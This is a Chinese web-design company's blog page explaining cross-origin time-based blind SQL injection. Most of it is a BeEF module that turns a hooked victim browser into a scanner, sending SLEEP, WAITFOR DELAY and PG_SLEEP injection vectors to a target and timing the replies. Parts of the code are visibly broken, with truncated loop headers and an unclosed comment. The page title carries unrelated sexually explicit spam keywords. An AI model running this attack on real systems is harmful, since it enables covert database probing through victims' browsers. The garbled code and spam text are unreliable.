啦啦爱在线观看免费视频6_花季传媒3.072_美女跪下吃男人j8免费视频_别揉我胸嗯啊

十三年專注于網站建設與互聯網應用開發,低調、有情懷的網絡應用服務商!
南昌百恒科技微信公眾號 掃一掃關注
tel-icon全國服務熱線:400-680-9298,0791-88117053
掃一掃關注百恒科技微信公眾號

Web應用之跨域SQL盲注檢測

百恒 2017-07-22 15:23:19 3198
? ? ? ?在Web應用中,即使是跨域請求,仍然可以確定請求是否成功。而且,還可以根據響應的時間來推斷更多細節。
? ? ? ?SOP會阻止讀取跨域XMLHttpRequest的響應體,因而在勾連瀏覽器上發現基于錯誤的SQLi并不現實。此時,可以利用跨域響應計時,以及基于時間的SQL注入。這樣就可以看到跨域SQL注入的結果,從而發現并利用SQL注入漏洞。那么具體該如何操作呢?下面請看南昌網絡公司小編為大家詳細講解一下:
? ? ? ?執行下面的代碼可以使用時間延遲,以發現跨域Web應用中的SQLi漏洞。這段代碼目前支持可以通過GET請求訪問的資源,而要修改成支持POST請求的資源也很簡單。
? ? ? ?另外,目前只支持MySQL、PostgreSQL和MSSQL,因為只有它們有時間延遲的SQL語句。正如Chema Alonso所演示的19,即使是耗時的查詢也可以感知到時間延遲。同樣,因為Oracle支持發送HTTP和DNS請求的功能,所以還可以進行相應的確認:
? ? ? ?beef.execute(function() {
? ? ? ?// 以秒計的延遲
? ? ? ?var delay = '<%= @delay %>';
? ? ? ?// 目標主機/端口
? ? ? ?var host = '<%= @host %>';
? ? ? ?var port = '<%= @port %>';
? ? ? ?// 要掃描的目標URL
? ? ? ?var uri = '<%= @uri %>';
? ? ? ?// 要掃描的URL參數,格式為:key=value
? ? ? ?var param = '<%= @parameter %>';
? ? ? ?/*需要處理主要注入的向量
? ? ? ?* 如果有嵌套的JOIN需要額外的括號
? ? ? ?* param和delay是占位符,
? ? ? ?* 稍后會在create_vector()中替換
? ? ? ?*/
? ? ? ?var vectors = [
? ? ? ?"param AND delay", "param' AND delay",
? ? ? ?"param) AND delay", "param AND delay --",
? ? ? ?"param' AND delay --", "param) AND delay --",
? ? ? ?"param AND delay AND 'rand'='rand",
? ? ? ?"param' AND delay AND 'rand'='rand",
? ? ? ?"param' AND delay AND ('rand'='rand",
? ? ? ?"param; delay --"
? ? ? ?];
? ? ? ?var db_types = ["mysql", "mssql", "postgresql"];
? ? ? ?var final_vectors = [];
? ? ? ?/* 每個DB都有不同的延遲語句
? ? ? ?function create_vector(vector, db_type){
? ? ? ?var result = "";
? ? ? ?if(db_type == "mysql")
? ? ? ?result = vector.replace("param",param)
? ? ? ?.replace("delay","SLEEP(" + delay + ")");
? ? ? ?if(db_type == "mssql")
? ? ? ?result = vector.replace("param",param)
? ? ? ?.replace("delay","WAITFOR DELAY '0:0:" + delay + "'");
? ? ? ?if(db_type == "postgresql")
? ? ? ?result = vector.replace("param",param)
? ? ? ?.replace("delay","PG_SLEEP(" + delay + ")");
? ? ? ?console.log("Vector before URL encoding: " + result);
? ? ? ?return encodeURI(result);
? ? ? ?}
? ? ? ?// 根據支持數據庫替換param和delay占位符
? ? ? ?function populate_global_vectors(){
? ? ? ?for(var i=0;i
? ? ? ?var db_type = db_types[i];
? ? ? ?for(var e=0;e
? ? ? ?final_vectors.push(create_vector(vectors[e], db_type));
? ? ? ?}
? ? ? ?}
? ? ? ?}
? ? ? ?var vector_index = 0;
? ? ? ?function next_vector(){
? ? ? ?result = final_vectors[vector_index];
? ? ? ?vector_index++;
? ? ? ?return result;
? ? ? ?}
? ? ? ?var send_interval;
? ? ? ?var successfulVector = "";
? ? ? ?function sendRequests(){
? ? ? ?var vector = next_vector();
? ? ? ?var url = uri.replace(param, vector);
? ? ? ?beef.net.forge_request("http", "GET", host, port, url,
? ? ? ?null, null, null, delay + 2, 'script', true, null,
? ? ? ?function(response){
? ? ? ?// 如果XHR響應延遲,停止進程
? ? ? ?// 因為某個successfulVector已被發現
? ? ? ?if(response.duration >= delay * 1000){
? ? ? ?successfulVector = url;
? ? ? ?console.log("Response delayed with vector [" +
? ? ? ?successfulVector + "]");
? ? ? ?clearInterval(send_interval);
? ? ? ?}
? ? ? ?});
? ? ? ?}
? ? ? ?// 創建所有向量
? ? ? ?populate_global_vectors();
? ? ? ?/* 確定正常的響應時間,并且調整請求之間的延遲
? ? ? ?*(基準響應時間 +500 ms) */
? ? ? ?var response_time;
? ? ? ?beef.net.forge_request("http", "GET", host, port, uri,
? ? ? ?null, null, null, delay + 2, 'script', true, null,function(response){
? ? ? ?response_time = response.duration;
? ? ? ?send_interval = setInterval(function(){
? ? ? ?sendRequests()},response_time + 500); //can be adjusted
? ? ? ?});
? ? ? ?});
? ? ? ?把前面的代碼注入勾連瀏覽器之后,會調用populate_global_vectors(),并根據支持的數據庫類型和向量數組中的載荷,來創建攻擊向量。這里的載荷并不完整,但對大多數攻擊來說已經足夠了。你可以根據自己的需求再進行添加,比如增加更多括號或使用不同的布爾關鍵字,以涵蓋嵌套的聯結或非常復雜的查詢。
攻擊的下一步是發送不帶任何攻擊向量的請求,以監控常規響應時間。這樣才能有依據地對后續攻擊向量作出調整,因為目標可能對常規請求都會花幾秒才響應。確定了基準響應時間后,通過sendRequests()函數發送所有可用的攻擊向量。每個XHR請求在處理后,都會有回調函數在響應到達后檢測響應時間。如果響應時間等于或大于注入的延遲,則說明注入成功,并可以確認存在基于時間的SQLi漏洞。在圖1和圖2中,可以看到通過BeEF在勾連瀏覽器中注入代碼后,內部發生了什么。
Web應用之跨域SQL盲注檢測
? ? ? ??以上就是小編為大家介紹的關于Web應用中跨域SQL盲注檢測的方法,如果還有哪些不懂的地方,可隨時來電和我們聯系。了解更多關于南昌網站建設、微信開發、手機APP開發等方面的知識,歡迎關注百恒網絡官網動態。
400-680-9298,0791-88117053
掃一掃關注百恒網絡微信公眾號

歡迎您的光顧,我們將竭誠為您服務×

售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售后服務 售后服務
 
備案專線 備案專線
 
售后服務 售后服務
 
×